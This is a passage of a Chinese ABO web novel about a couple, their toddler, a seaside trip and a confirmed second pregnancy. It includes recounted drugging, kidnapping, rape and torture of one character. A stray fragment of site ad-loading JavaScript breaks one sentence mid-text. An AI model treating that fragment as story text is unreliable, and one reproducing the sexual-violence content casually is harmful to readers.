但苏以安不想跟孩子抢吃的,撕开包装只象征性的尝了一点点。 厨房里谢不辞趁着等烧水的空隙,悄悄拿手机给蒋泽发消息:[哥哥哥,江湖救急,年底了我要怎么表现一把邀请他跟我一起过年?] 在给蒋泽发消息之前,谢不辞也想过要怎么跟苏以安提起才显得不尴尬不突兀,还不会让苏以安觉得是在可怜他。 但觉得怎么说都不太合适。 没等来蒋泽的回复,谢不辞反倒先听见了苏以安喊他名字。 他靠在门框上问怎么了,随后见苏以安迟疑了一下,跟他说:“我们去看海吧,就现在。” 谢不辞眨了眨眼睛,几乎没经过思考就冲回厨房动作熟练的把奶粉加进水里,拿着出来递给雪团,然后揽过苏以安的肩膀,把他送到门外。 “回去带两身衣服,想去哪一会上车说。” 眼看着苏以安进了1501的门,谢不辞才做贼似的轻手轻脚的关上了自己家门,凑到抱着奶瓶看向他的雪团身边。 “儿子哥,你跟我讲讲发生了啥呗?” “虽然我没看见,但我肯定你爸他这么说绝对是因为你,他这么多年也没无缘无故拽我出去旅过游。” 雪团也是那种安安静静的性格,从教他说话开始谢不辞就知道他不太爱说话,也没指望这么大点孩子还能跟他唠两句。 “咱就是说,能不能把你爸留住就看你了。” “把他留住你也有爸爸我也有老婆,想要什么你跟我讲,我贿赂贿赂你行不?” 雪团歪着脑袋看向他,也不知道刚才说了半天听懂了多少,但回答谢不辞倒是言简意赅:“要爸爸。” “妥了哥,等的就是你这句话。” “你要不是我亲生的我高低跟你拜个把子。” 谢不辞动作很快的给雪团套了身厚衣服,又带好了奶粉零食之类的必需品,随后背着包抱着孩子到楼下停车场里。 本以为自己先下来打开暖风会显得特别贴心,但苏以安开车门以后第一句话就是:“那么冷你为啥要把孩子带下来?” “你就不能先开暖风再收拾东西吗,你没空看孩子怎么就想不到多走两步送到我那?” 谢不辞:“……” 好有道理啊。 但是算了,也不是第一次没装成功。 苏以安除了带了必备的衣服还有画板和颜料盒之类的,是方明之帮着拎下来的,他隔着车窗跟谢不辞说完话以后又跟方明之说了什么。 谢不辞在车里听不清。 只知道苏以安上车的时候,方明之的最后一句是,你自己有分寸就好。 谢不辞觉得他俩不会密谋什么好事,但还是特别有分寸感的什么都没问,等苏以安抱着雪□□好安全带以后才开口:“决定好去哪了吗。” “我以为这种事情,按谢哥的人脉,到现在已经从头到尾都安排好了呢。” 众所周知,alpha都是有胜负欲的。 谢不辞闻言立马给家里管家打电话,然后自己开车带着老婆孩子往机场走。 苏以安以前过得穷苦节俭,现在肯定也接受不了铺张,所以谢不辞特意只选择了商务座,没包一整架飞机。 管家定好的目的地是个看图片就知道很浪漫很适合约会的地方,海滨城市,景点众多。 这会临新年还有将近一个月的时间,谢不辞他爸专门出资在那边给买了套房子,让他们玩够了再回来。 还说年后雪团让苏以安跟着一起给雪团办周岁生日宴,抓周之类的活动一样都不能少。 临出发之前,专门接应的司机说,谢不辞他爸嘱咐,要把之前的育儿嫂也带着,省的谢不辞毛手毛脚的出门在外连搭把手带孩子这种事都做不好。 这个没法说,这是真贴心。 到达目的地的时候,拉开车门,立马就能感觉到扑面而来的海风。 空气是潮湿的,带着大海特有的咸咸的味道。 这样的地方,景色自然是无可挑剔的,一路上走过来,路过了不少打卡点。 风车,秋千,椰子树。 雪团似乎是第一次被带出来玩,趴在苏以安肩膀上左看右看的。 觉得孩子太小不能玩水,苏以安还特意带着雪团挑了个他能拿的起来的漂亮小铲子。 来旅游的人不少,苏以安带着雪团上沙滩,有不少小孩凑在一起挖贝壳。 谢不辞拿着还没他巴掌大的小铲子,蹲在地上一下一下戳沙子:“我……我也挖?” “那你想要啥色的贝壳,我给你刨。” 他一个一米八几的alpha,被一群看起来还没上小学的孩子围中间,跟受气似的蹲在那拿小铲子画圈,有种说不出来的喜感。 “你快说啊,要不然我抢不过那群小孩,把别人家孩子逗哭了我不敢哄。” 然后苏以安好整以暇的望向他没说话的这段时间里,谢不辞从湿漉漉的沙子里扒出了不少东西。 他精挑细选了半天,还把沾着泥沙的贝壳冲洗干净才递给苏以安。 怎么形容呢,大概就是……一大堆好看的东西里,谢不辞专门选了一个丑的最牛逼的拎出来要送人。 偏偏他还觉得他挑了一个最独特的。 “谢谢你,但……其实我也不是非要不可。” 谢不辞倒是没受打击,又蹲下身子把贝壳往雪团面前递,结果雪团视线在贝壳和身上流连了一圈,回答:“不要。” 谢不辞:…… 雪团没见过活着的小螃蟹,这会注意力完全不够用似的。 后面两人一商量,就把雪团留在沙滩,交给育儿嫂带着,然后他们去海边走走。 光着脚踩在不算凉的海水里很惬意。 谢不辞先是跟着苏以安走走停停的逛了一圈,随后才找娱乐项目。 他俩打了这么多年,不管干什么都是谁也不服谁。 像扎气球打水仗这种活动必须要分出高下来,连带着摩托艇都想自己上去开一圈比速度。 好在是不能喝酒,不然一边劝一边暗戳戳较劲,几瓶下去,再发生点什么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就不太可控了。 他们在海边,看了日落才往回走。 等到后半段,谢不辞的视线基本就没从苏以安身上挪下来过。 他以前一直觉得,苏以安总在被迫乖顺,装的时间久了,该是什么样子他可能自己都不记得了。 可这一趟接触下来,谢不辞才感觉到,只要离开原来那个肮脏压抑的圈子,无论经历过什么,苏以安都鲜艳热烈,带着那种他本身就是艺术的,最吸引谢不辞的光环。 在穿过夜市回家的这段路程里,谢不辞无数次想开口问,为什么苏以安会突然转性能与他和平共处,但纠结许久还是都硬生生把话咽了回去。 海王圈里规则就是这样的。 不确定关系,不执着结果,享受当下得过且过。 有些话,讲清楚了反倒徒增烦恼。 他不认为那个还没决定好要怎么处置的孩子可以悄无声息的翻篇,所以他们的关系始终像是掉下悬崖之前唯一能抓住的腐木,也许根本不需要任何外力,就可以在谁都说不准的某一个时间点,彻底断裂崩塌。 可又无论谢不辞有多想解决,都是徒劳。 因为苏以安受到的所有伤害都是他直接或间接造成这一点,他自己都承认是事实。 谢不辞的思绪是被面前递过来的椰子拉回来的。 雪团抱着个比他脑袋还大的椰子,喊谢不辞爸爸,说要把椰子给他。 谢不辞有些疑惑的看了一眼苏以安,苏以安示意他从切椰子的小摊上再拿个吸管。 要是他没想那些乱七八糟的,他就不会错过前面苏以安带着雪团商量把椰子给他的过程。 最开始是苏以安先尝了一口椰汁,说没有添加剂一点也不好喝,然后忽悠雪团也来一口。 都一致认为确实就是不好喝之后,为了给孩子培养优良品德,苏以安还专门教雪团怎么忽悠谢不辞。 小孩子学说话没学那么清楚,以至于苏以安教的那句,拿谢不辞当垃圾桶,不爱吃的直接扔给谢不辞就行了。 孩子复述完以后,被谢不辞理解成了让他找垃圾桶,让他把椰子扔垃圾桶,和不太敢确定的他是垃圾桶三种意思。 他跟雪团不同频交流一个比一个急的时候,苏以安就抱着孩子在他俩中间看热闹,哪头都不帮忙翻译。 等他俩吵吵了半天终于明白对方要说啥了,苏以安才不疾不徐的开口:“人家说这里椰子是特产,我俩专门给你留的,你尝尝。” “不是?你刚教我儿子说要把我当垃圾桶,不爱吃的都给我,现在又成专门给我留的了?” 苏以安一点都没见心虚:“你怎么净干点子给你说好听的你非得专门找骂这种事?” 谢不辞哦了一声,然后从小摊上装吸管的袋子里扯了一支新的出来,刚准备追上苏以安往家走,却又像忽然反应过来了什么似的,把新吸管重新给人放了回去。 做人不能太铺张,还是要节约资源的。 他也尝了一口老婆孩子都觉得不好喝的椰汁。 还行,没什么奇怪的味道,算不上难喝但也没多好喝。 32-40 第32章 第 32 章 倒v开始 空气安静了好几秒。 谢不辞摸不准他到底是什么想法, 以至于苏以安没说话的这一小段时间里都坐立难安的。 结果苏以安什么反应都没有,好像谢不辞刚说的都是什么无关紧要的话一样,满不在乎的回了一句知道了就让谢不辞出去。 然后他睡不睡得着不好说, 反正谢不辞回了自己家一定失眠。 在第二天天亮之前的这段时间里, 手机搜索框里光荣的多出了以下词条: #omega孕早期最典型的症状。 #安抚孕期情绪不稳定的老婆, 优秀伴侣都是这样做的! #看高智商男人教科书式平衡二胎家庭之间的奇妙关系。 #如何在众多追求者中脱颖而出, 抱得美人归。 …… #让老婆念念不忘的一百种姿势。 等谢不辞意识到搜索框里的东西画风开始逐渐不对劲时, 他已经不信邪的点进了那一百种姿势。 因为真的有点好奇是不是真的有一百种,以及,什么绝世大天才能发明一百种。 乱七八糟的帖子看多了,谢不辞甚至怀疑孩子是不是他要生。 什么头晕恶心,过度疲劳,嗜睡,一会厌食一会像个饿死鬼这种症状, 他都能在自己身上找出对应时间。 于是谢不辞开始打电话骚扰蒋泽。 一般情况下来讲,连着加了很多天班的社畜,好不容易放了个假, 那恨不得回了家就睡死过去, 偏偏蒋泽不一样。 电话接通以后, 谢不辞在听筒里听见了清晰的摇滚乐声。 “咋的啦?老地方那个酒吧来不来,今天新来了十几个服务生,比没加班之前质量好很多,用不用我把包厢号发你?” “……你是想请我最后一顿酒吗,喝完就上路那种。” 蒋泽没立马接话,找了个安静的地方, 还关上了门才重新搭理谢不辞:“真明天就开盒?苏以安怎么说?” “他倒是没什么反应,就只平静的告诉我知道了。” 然后就又是新一轮的沉默。 “那你觉不觉得, 你现在需要做的是安排好医院,然后找个医生咨询一下都需要做什么检查,有什么必须注意的。” “而不是大半夜的打电话跟我发疯。” …… 哦,好有道理啊。 谢不辞挂掉电话,躺尸一样望向天花板。 果然人在焦虑的时候,脑子都不会太好使,不然像他这么聪明的人,绝对不可能犯这种低级错误。 第二天一大早,谢不辞连衣服都没特意搭,洗了把脸就直接冲到对门,把苏以安从床上薅起来。 起床的时间,是早上六点半。 苏以安穿着睡衣去洗漱的时候,顶着一脑袋没来得及捋顺的头发,举着牙刷看向在厨房里忙来忙去的谢不辞,颇有怨言的开口:“你上早八的时候有没有起这么早过,就至于这么火烧眉毛的?让你不到七点就像催命的一样。” “放心吧今天肯定极速版。” 在进苏以安家门之前,谢不辞已经在各个环节都找好了人,什么检查都是人到了立马就可以做,做完当天就出结果。 并且为了防止他俩在医院就打起来,谢不辞还专门嘱咐找好的医生到时候不要胡言乱语的瞎科普。 谢不辞把刚烤好的面包片抹上果酱打包好,因为记得要验血,便没直接递给苏以安。 等都换好衣服收拾完,到医院正好是人最多的时候。 八点多的医院,挂号收费那边排了好长好长的队。 因为人多,一人一句话就显得特别嘈杂。 苏以安一直都安安静静的,拿着提前安排好的挂号条和检查单坐在医院走廊的椅子上,等着检查室的医生喊名字或者叫号。 “你怎么一点反应都没有?” 谢不辞没经历过这样的事,但再迟钝都能看得出来苏以安的反应有些太偏激了。 他宁愿苏以安掐着他脖子说敢玩出个孩子就弄死他,或者扇他一巴掌骂他一顿把孩子打掉,然后跟他要一大笔钱。 可偏偏什么都没有。 越是这样谢不辞越觉得良心不安。 “以前给我爸看病的时候就是这样的,我坐在他病房门外的椅子上,拿着厚厚的一摞我根本看不懂的检查结果,脑袋空空的看着走廊里来来往往的人。” “那会没人给走特权,我也没有钱给他看病。” “我不知道我要做什么才能留住他。” 所以苏以安总对医院有种难以言喻的复杂情感,说不上怕不怕,更多的是抗拒和无奈。 这会谢不辞忽然有点后悔专门给安排人了,这种有一搭没一搭聊着的氛围挺好的,时间过得慢一点也可以,队伍再长一点也没关系。 “那你……” “我能做的都做过了,我一直觉得没什么可后悔的。” “直到生雪团那会,我自己躺在手术台上,我看着那超级长的麻醉针扎进我的身体里。” 苏以安停顿了一下,低下头看向手中被他卷的恢复不了原样的白纸,深吸一口气平复情绪才继续开口。 “疼不疼早就没印象了,但是我怕,怕到整个人都在发抖,怕到就算神志不清,手也是紧握成拳头的,我能感受到手术刀划开我的皮肤,我控制不了的眼泪顺着眼角流到耳朵上。” “然后我才意识到,我好像有点太自私了。” “因为我没问我爸到底愿不愿意用这么痛苦的方式吊着一口气,也不知道他看着我用上不得台面的方式给他挣看病钱他会不会难过。” 谢不辞不知道该说什么。 之前一直觉得苏以安从大腿纹到小腹和侧腰的那个纹身漂亮,带着一种形容不出的蛊惑感,却从没意识到那是苏以安自暴自弃遮掩自己不愿意面对的伤疤的方式。 有这样过往的人,很难走出困住自己的圈子。 就导致苏以安不愿意承担责任,还对身边所有人都带着极重的防备心。 说是怨谢不辞,其实更多的是想找个情绪发泄口,也许在他的思维里,如果没有他,他爸爸就不用一直住在阴暗潮湿的地下室,不用为了一块钱一个的馒头被人看不起。 “你现在怕吗。” “我也不知道。” 谢不辞握住苏以安的手。 那双手的皮肤很细腻,一点也不像干过重活的样子,可手指尖是冰凉的,凉到谢不辞把整只手握住,温度也很难传递过去。 后面检查,再排队等结果的时间过得都很快。 拿到检查结果以后,苏以安看都没看一眼就直接塞到了谢不辞手里。 虽然大概是个什么结果他们两人心里都有数,但面对最坏结果马上要被证实时,还是紧张得心跳加速。 在坐上回家的车之前,谢不辞先打开检查结果看了一眼。 纸上诊断结果那一行用印刷体清清楚楚的写着,孕酮远高于正常值。 还有信息素不稳定和营养不良之类的一些问题。 回家路上坐在车里那二十分钟里,谢不辞都不太敢面对苏以安。 因为错犯得真的有点大,谢不辞跟个小学生一样一路低着头跟在苏以安后面,跟着进了1501的家门, 进门以后苏以安先脱掉了厚重的外套,然后在谢不辞的注视下,接过那张被谢不辞来回来去折得都快断了的检查结果。 他象征性的扫了一眼,然后把有字的那一面举到谢不辞面前:“你给我一个解释。” 看谢不辞的反应,就已经预料到会是什么局面了,但他偏偏不死心,抱着最后一丝希望把那张纸留到进了家门再打开。 只可惜知道得早或晚,都不会改变最终结果。 “我活着就这么碍你眼吗谢不辞?” “世界上有那么多人你为什么偏偏只想睡我,我跟你有什么深仇大恨,我已经计划好要走了,偏偏我活着你都不愿意了?” 哪怕到了现在,苏以安说话也都是平静的。 但发红的眼眶和不太平稳的声线还是出卖了他。 “对不起,我……” 谢不辞还能说什么,他没什么可辩解的,连他自己都觉得自己恶劣到极致。 啪—— 一声清脆的巴掌响盖过了现场所有声音。 苏以安这一下几乎用尽了全身力气,打到谢不辞踉跄了两步才站稳,耳边也响起嗡嗡的耳鸣声。 “我到底哪里招惹你了让你这么恨我?” “高中那会你轻飘飘的一句喜欢,我就要被下药被绑架作为班里同学想跟你家合作的踏板,变成你们的玩物。” “然后再被季文璟他爸□□,被折磨到人不人鬼不鬼的,还要被你们指着鼻子骂。” 苏以安向来不争不抢的,他从不与人吵架,也很少有这样偏激的表达方式。 谢不辞没有反驳,他也能气到眼泪彻底模糊视线。 “最开始就他妈的因你而起,你还敢拿季文璟他爸能睡我你不能睡攀比,你有病啊?!” “没有一次是我愿意的,我也不想用这种烂方式挣钱。” “不光你看不起我,我都看不起我自己,但这不是你跟我上床,捆住我的手脚把我最后一点自尊也践踏掉的理由。” “我就是报复你,我要让你载在雪团身上,带着拖累一辈子束手束脚。” 因你而起,你还拿你兄弟他爸能睡到我你却不能而攀比。 谢不辞愣了好久都说不出话来,他已经查得大差不差了,他差不多都是知道的,可查到,与苏以安控诉,完全不是一个概念。 第33章 第 33 章 因为如果苏以安不开这个口, 谢不辞永远也不会思考到,他在承受完非人一般的折磨以后,被丢弃在暴雨夜里, 没有人管他他要怎么活下来。 季文璟有跟谢不辞专门讲过, 他爸发现他爹出轨苏以安的时候, 因为下大雨要出门第一次被他拦回来了。 而后第二天季文璟当众质问过苏以安以后, 苏以安还大病了一场。 自那以后苏以安才开始变得越来越沉默寡言, 也再没给过谢不辞好脸色。 他们这种阶级完全不对等的人,本身就不应该凑在一起。 哪怕是过去了那么多年,哪怕是到现在谢不辞自己进了职场,也依旧想象不到,还能有人因为他随口一句话,就做出依靠下药绑架来奉承他这种事情。 苏以安拿袖子胡乱抹了一把眼泪,背过身去:“回去吧, 这样吵架也没什么意义。” 谢不辞抓住苏以安的手腕,从背后将人抱住,苏以安也没挣扎, 只是木讷的现在原地。 “你想怎么处理我都尊重你, 我会尽我所能的满足你所有像我提出的要求。” 他没再说什么对不起这种苍白无力的话, 也很清楚他们都需要时间冷静,便没再过分纠缠,只低声嘱咐:“你相信谁就找谁陪你一会,等你好些有什么想跟我说的,你可以直接给我打电话。” 听见关门声,确定房间里只有自己一个人以后, 就像紧绷着的神经忽然断掉,苏以安整个人如同被抽干了力气一般, 瘫坐在地上。 房间空间不大,能靠在墙边缓冲一下,所以感觉不到摔得有多疼。 但剧烈的情绪撕扯之下,胸腔内的憋闷感与窒息无异。 苏以安靠在墙边,贪婪的张口呼吸着。 因为缺氧眼前一阵阵发黑,头痛欲裂,他却找不到一丁点发泄口。 谢不辞在的时候他能被气到掉眼泪,这会却一滴眼泪都流不出来,胃里一阵翻涌,干呕了半天,也没吐出什么来。 从昨天晚上到现在他什么都没吃过,干呕的时间长了胃也同样没放过他。 他把身体蜷成一团,想通过这样的方式汲取些温度,只是身体与情绪都完全不受他掌控,无论做什么都无法缓解。 从前各种被刻意忽略的记忆都浮现在眼前,比如之前某个他根本不记得姓什么的老板,把他关在暗无天日的小房间里,让他像条狗一样的被栓在门口,用带着低压电的电线捆着他,以见他痛苦为乐。 比如他爸葬礼结束后,那空空荡荡的灵堂里只有他一个人对着他爸那张已经有些陌生了的,还有头发还会对他笑的黑白照片。 比如他被遗弃在路边的那个暴雨夜,开着远光的货车,在他旁边疾驰而过,光线昏暗,很难注意到他,车轮与他近到甚至轧过了他有些宽大的衬衫。 生存的本能总会让人惧怕死亡,以至于平常被苏以安刻意压下去的情绪,在这一刻反噬得彻底。 不知道过了多长时间,等身体渐渐被冻得麻木僵硬时,疲惫感才后知后觉找上门。 苏以安尝试踉跄着起身,原想找点水喝,但没有现成的,只有冰箱里存着玻璃瓶装的果酒和矿泉水,犹豫了一下只能作罢。 他都已经累得连手都不想抬了,就更别说专门去烧水了。 最近几天将近一半的时间都在睡觉,他也没跟任何人发生矛盾,连带着拒绝了原来那个张老板都只是特别单纯的觉得累,不想维持各种人际关系。 记挂着精神状态不好不能待在全黑的环境里,苏以安特意打开了床头那盏小夜灯。 冬天的天黑得很早,五点多就已经暗沉沉的了,晚上的时间显得格外长。 现在还没到会所里最热闹的时间,包间里只有谢不辞和蒋泽两个人,音乐声与交谈声完全被隔绝在门外,除了把酒放下就走的服务生里面再没进过别人。 空酒瓶子被撤下去一次又一次,才不至于显得谢不辞喝得太狼狈。 “哥,你别干喝了,我要陪不动了。” “正常流程不应该是你一边跟我喝一边唠两句吗?纯酒局啊?” 谢不辞把手中那已经空掉的酒瓶轻轻放在桌子上,也没抬头看蒋泽,喃喃自语似的开口:“我他妈高中那会是傻逼吗?” “我算个什么东西啊就得全世界都围着我转,谈恋爱这种你情我愿的事情我还不允许别人拒绝我。” “我也太把自己当个好东西了。” 从进了这包间开始,谢不辞酒就没停过,最开始是一杯一杯往下灌,后面嫌麻烦直接端着瓶子喝。 他也什么都不开口讲,只让蒋泽陪一杯的时候才有交流。 不是故意不说话,他是真的不知道该怎么跟朋友讲。 来包间之前的那几个小时的时间里,谢不辞把之前所有能联系到的高中同学全都问了个遍。 然后时间线再拼凑一下,谢不辞还发现了点可能苏以安都不太清楚的细节。 当年苏以安被绑架以后,季文璟他爹□□了苏以安,事后拿苏以安做跳板被张老板庇护。 但张老板表面上最会装好人,说着不会强迫苏以安,却在私下买通了医院专门提高了苏以安他爸要用的进口药的价格。 只给苏以安一个人涨价,逼他为了钱低头。 这是谢不辞能查到的,在他查不到的地方一定有更多只有双方当事人知情的事情。 “你这么多年都不知情,也不全是你的错,事情都已经发生了。” “说句不好听的,苏以安从来不提,肯定有觉得已经发生的事情再说什么都晚了的原因在。” 这句话谢不辞没接。 也不知道该说点什么去接。 “行了差不多的得了,你还有儿子得管呢,这大晚上的,你老婆让你给整点东西吃你都起不来。” 酒精上头脑子确有些转不过弯来,谢不辞闻言停下来思考了半天,然后开口反驳:“孩子今天不能带,一身酒气的去抱雪团苏以安会跟我急的。” “……我是让你该回家回家,别跟要喝死在这似的。” 不清楚是不是没喝到位,反正谢不辞记得他是自己打电话喊代驾送他回家的。 回来的时候走廊里安安静静,他有想去敲门看看苏以安怎么样了,但点开手机锁屏,看着那凌晨的时间,最终还是只放轻动作打开了自己家门。 第二天谢不辞是被闹钟喊起来的,五分钟五分钟的拖了好几次,最终是看见了方明之的消息才彻底清醒。 [你又干什么了?我最快也得三天后才能从A国赶回去,你就不能消停点吗。] 虽然话里话外没一个字是不带刺的,但谢不辞还是跟抓住了救命稻草一样。 [他跟你怎么说?] 谢不辞回完那边就发了两张截图过来。 其实也没说什么,维持了苏以安一惯沉默寡言的风格,有没有发生什么纯靠方明之猜。 截图里的交流停在苏以安回复的那句“是出现了点意外”上。 截图后停顿了几秒又发来新的文字消息:[咋的,抢婚让所有人都下不来台去了?] 谢不辞下意识想反驳没有,不过细琢磨一下,在人家订婚宴上把人家omega带走,虽然没当着大庭广众的面,但性质也差不了太多。 [不是你想的那样……] [我不太好解释,你是一定要三天后吗,无论发生什么都不能早吗。] 方明之不出意外的给他回了个问号。 纠结着要怎么把话说下去才显得不那么突兀的这段时间里,谢不辞还下楼给苏以安带了饭,还发消息说放在了1501的门口。 随后他看见方明之发来的新消息:[你俩都打了这么多年了,发生什么都正常,反正今天明天肯定是回不去。] [他要是情绪特差的话,你就去趟沪溪的老街,那里有个姓陈的老太太,做麦芽糖的,看着他长大,他怀雪团那会就说想吃麦芽糖来着。] 这两条消息里谢不辞get到了无数个关键词,看见消息以后他立马找了个司机开车过去。 沪溪老街是苏以安长大的地方,那里店铺都很有年头了,做手工麦芽糖的只有一家,稍微打听一下就能找到。 而且老太太特别和蔼,没有门脸还专门请谢不辞进她家坐,给他倒珍藏了好久的茶叶泡出来的茶水。 “你是安安朋友啊?安安可从来不交alpha朋友,小伙子不要太腼腆了,是男朋友就直接说呗。” 她一边跟谢不辞搭话,一边给装着糖:“安安从小就喜欢我做的糖,他爸爸手头再紧,也从来没在买糖吃这件事情上亏待过他。” “要我说也该是这样的,小omega就是不能亏待,不然让人拿糖都能骗走可怎么是好。” 高中那会谢不辞就是这么想的,他觉得苏以安缺钱,而恰好他最不差的就是钱。 所以他总有种势在必得的迷之自信。 谢不辞拿起桌上的麦芽糖尝了尝。 是甜的,与印象中那种齁甜齁甜的刻板印象还不太一样。 透着一种淳朴的味道,跟他吃习惯了的没什么可比性。 “我给你多装一点,安安会存的,够他吃很久。” “你也别说我老太婆唠叨,安安爸爸就是苦怕了,肯定不会同意他跟你们这种公子哥在一起,之前有个仗着有点家世想追安安的,那可是被他爸爸报警处理掉的。” 谢不辞:…… 这怎么有点指桑骂他的感觉呢? “那第一个追他的是谁啊?” 第34章 第 34 章 老太太把打包好的麦芽糖递给谢不辞, 然后神神秘秘的凑到他耳边小声开口:“是个姓钟的,你别乱传啊,陈年旧瓜了, 你们把日子过好了比什么都重要。” 好好好。 就说这个世界别太抓马了。 这样往上拼该不会是, 钟家哪个儿子看上了苏以安, 被苏以安他爸报警处理了, 钟家觉得面子上过不去, 想绝了自己家儿子的念想才强制性的把苏以安户口迁走,再把他当成联姻工具培养吧? 这够命途多舛的啊。 谢不辞带着好大一袋麦芽糖回去,还特意路过自己家别墅把雪团接上。 他觉得蒋泽说的很有道理,在哄老婆这方面,他干不了的活,他儿子都能给包了。 从电梯里出来,谢不辞看见1501门口那原封未动的早饭一点也不意外, 他叹了口气,抱着雪团先进了自己家。 然后翻箱倒柜给雪团找了半天衣服,也没选出一身觉得好看的来。 毕竟给小孩选衣服, 好看的前提得是不能冻着。 浪费了了不少时间纠结给孩子穿什么, 结果拿衣服比划了半天, 最终选择了不换。 因为谢不辞觉得,他这个直男审美肯定不如他妈。 谢不辞把装着糖的塑料袋套在雪团脖子上,迎着孩子懵懵懂懂的视线,拿了个塑料膜封着的做成片状棒棒糖形状的塞到孩子手上。 “一会把这个糖给你爸爸。” “知道怎么哄你爸爸开心吗?知道就用你原来那一套,不知道的话……” “那你临场发挥吧,我也不知道。” 雪团低头看了看手里攥一下塑料纸就哗哗作响的糖, 又看了一眼谢不辞,把糖朝谢不辞举起来:“爸爸。” “哎我去, 真上道。” “能不能把你爸追回来就看你了好儿子!” 想着光吃糖也不管饱,谢不辞还从冰箱里找出三明治加热,把预备好的纯牛奶倒进保温杯里。 等谢不辞把要送过去的东西都准备得差不多了,回过头来一看,雪团在床上自己抓着那流了他一手糖的,黏黏哒哒的塑料纸玩了半天。 注意到他过来,雪团还举起小手给他看:“爸爸,擦擦。” 谢不辞:…… 是听话孩子,闯祸了还知道先发制人让你给擦擦手,但是,麦芽糖这东西,黏牙又拉丝。 尤其是在屋里暖和,糖已经化得差不多了的情况下。 谢不辞给雪团塞了两块卫生纸,结果糖有没有被擦掉不好说,反正纸是全粘手上了。 甚至在谢不辞的注视下,还有糖丝顺着雪团的小肉手滴到衣服上。 手里被完全黏住的卫生纸已经揪都揪不下去了,雪团自己拽了拽那皱皱巴巴的纸团,然后眨巴着大眼睛问谢不辞:“洗洗?” “……洗洗也行。” 谢不辞带着孩子去卫生间,洗手液沐浴露这种东西都尝试过了,泡泡搓出了一大堆,但就是有一层糖怎么都洗不干净。 也不是不努力,那洗手的泡泡都够雪团吹着玩了,还是没清理完全。 “要不我给你带个手套吧,洗不干净就先算了?是不是先去对门看你爸爸更要紧?” 话音落下谢不辞也没管孩子同不同意,直接翻出了一副两只连在一起,可以挂在脖子上的红色手套给雪团戴好。 还顺带给换了身同色系的外套。 这也就是孩子小,不然会走路会说话的小孩站苏以安门口,一边敲门一边喊爸爸,说我给你送吃的,谢不辞就不信苏以安能无动于衷的听着亲儿子站他门口哭。 带着孩子现在对门门前的时候,谢不辞还特意礼貌的敲了敲门。 不出所料的没得到回应。 不过他有门锁密码就省了好多麻烦,谢不辞甚至都不用给苏以安发个消息就能直接进去。 屋里没有任何烟酒气。 对于他们这种有事没事就想来两口的人来说,遇上大事不能抽不能喝,跟要把人难为死也没什么区别。 苏以安从卧室里走出来,雪团立马特别有眼色的从挂在自己面前的塑料袋里拿糖,不过因为带着手套,尝试了好几次都没成功。 “在屋里你给他带手套干什么?” 谢不辞没说话,苏以安就自己过去把手套给雪团扯下来。 然后刚扯下来一只就看见雪团小手上粘满了红色毛线碴。 他沉默两秒,把孩子接过来,给了谢不辞一个眼神。 谢不辞立马就看懂了他想表达什么:孩子留下,你滚。 觉得短时间内苏以安也不会想跟他说话,谢不辞特别识趣的把带过来的东西都放下,自觉把嘱咐的话咽回去,出去还轻手轻脚的关了门。 alpha带孩子就是这样的,有吃有喝饿不着冻不着就行了,还会把这样带孩子翻译成,那不活得好好的吗。 别人不清楚,反正让谢不辞管,干净和优秀都八成是他家孩子不沾边的。 据蒋泽所说,苏以安愿意见雪团,这就不算天炸开局,甚至把雪团这小金手指用好了,追老婆的工作都不会开展得过于困难。 可惜谢不辞是个不开窍的。 就算没少在外面玩,追人那点流程他也还是一窍不通。 最终蒋泽就只能给出,解决不了你俩之间的问题就先解决苏以安那边外在因素的方案。 比如被钟家扣下的户口,比如和沈伊的订婚宴,比如一直没打算放过苏以安的张老板。 元旦假期只剩下了最后一天。 把雪团留在1501以后,谢不辞就乘电梯下楼,自己开车回了趟家。 他妈的耳朵比他灵多了,也许那些他好不容易查出来的陈芝麻烂谷子的破事,他妈比他知道的还要早。 没搭理他就是等着他自己回去认错。 到地方以后,谢不辞把车停进地下车库,然后装作淡定的徒步走回门口,推门进去。 谢夫人第一眼看见他也没什么特别的反应,简单的打个招呼,然后问他:“雪团今天晚上睡哪?” “不知道呢,晚上再商量。” 知道是回来挨骂的,谢不辞连说话都显得拘谨。 “行,那就晚上再说。” “过来吃饭。” 谢不辞跟着走到餐桌前,但桌子上什么都没摆,甚至连杯水都没放。 他拉开椅子坐下,然后看向谢夫人。 然后她从厨房拿出盘子,从冰箱里拿出个馒头放上去,端到谢不辞面前。 “就……没了?” “大早上吃冷馒头?要不给点咸菜呢?” 谢夫人白了他一眼,拉开椅子坐到他旁边:“咱家的咸菜没有低于三位数一斤的,给你个馒头让你吃上就不错了,有人馒头都吃不上,你别那么多要求。” 谢不辞拿起桌子上的馒头揪成一小块一小块的,一言不发的往嘴里塞。 “孕检单,昨天才见过的,不陌生吧?” 他没抬头看他妈刚放在他面前的手机,嗯了一声等着谢夫人接着往下说。 “我本来是想扇你来着,但看见你那肿着的半边脸,我觉得也不用我动手了。” “你说你要把人追回来,我跟你爸都没管,结果你把人追回来的方法就是让他再给你生一个?” “你缺不缺德啊谢不辞?” 知道现在说什么都已经晚了,谢不辞也没为自己辩解,只是机械性的重复着揪一小块馒头,再塞进自己嘴里的动作。 “我告诉你啊,不管他怎么决定这个孩子的去留,你都得把嘴闭严实了,你没资格评头论足。” “还有,他不愿意见你你就少去刷存在感。” 其实谢不辞跟蒋泽一起喝酒的时候也反思过自己,当时苏以安无数次的说过自己各种无脑表白行为给他造成了困扰,但是他都选择性装听不见。 因为他觉得,苏以安所有的烦恼都来源于拒绝了他。 “你要是再让我听说因为你害得人家怎么样,你就卷铺盖从我们家搬出去。” “行了不愿意吃放下,找点正事干。” 谢不辞听话的放下馒头,拿起外套往门外走。 不怪他妈轰他,剩下的事情确实很多,沈伊那边具体怎么样他还没来得及问。 都不是小门小户的,让人家面子上挂不住肯定不好处理。 准备回自己小区之前,谢不辞刚上车扣好安全带,就接到了沈伊的电话:“你现在在哪,你跟小安在一块吗?” 谢不辞一愣,没搞清楚他到底要干什么:“没有啊。” “你不会把他自己扔在家了吧?” “嗯……还有雪团。” 趁着沈伊沉默的间隙,谢不辞驱车驶离了别墅区。 “算了,也不一定有事,你赶紧回去吧,别让他跟雪团单独在家。” 别的不说,就单从字面意义上理解,不像是没事的。 路程上没花费多长时间,电梯门打开之前,谢不辞还在纠结要不要敲门看看苏以安带着孩子在家里干什么。 他很清楚苏以安不想见他,可不过去看一眼也实在放心不下。 但进了走廊他就发现了,那点担心完全是多余的。 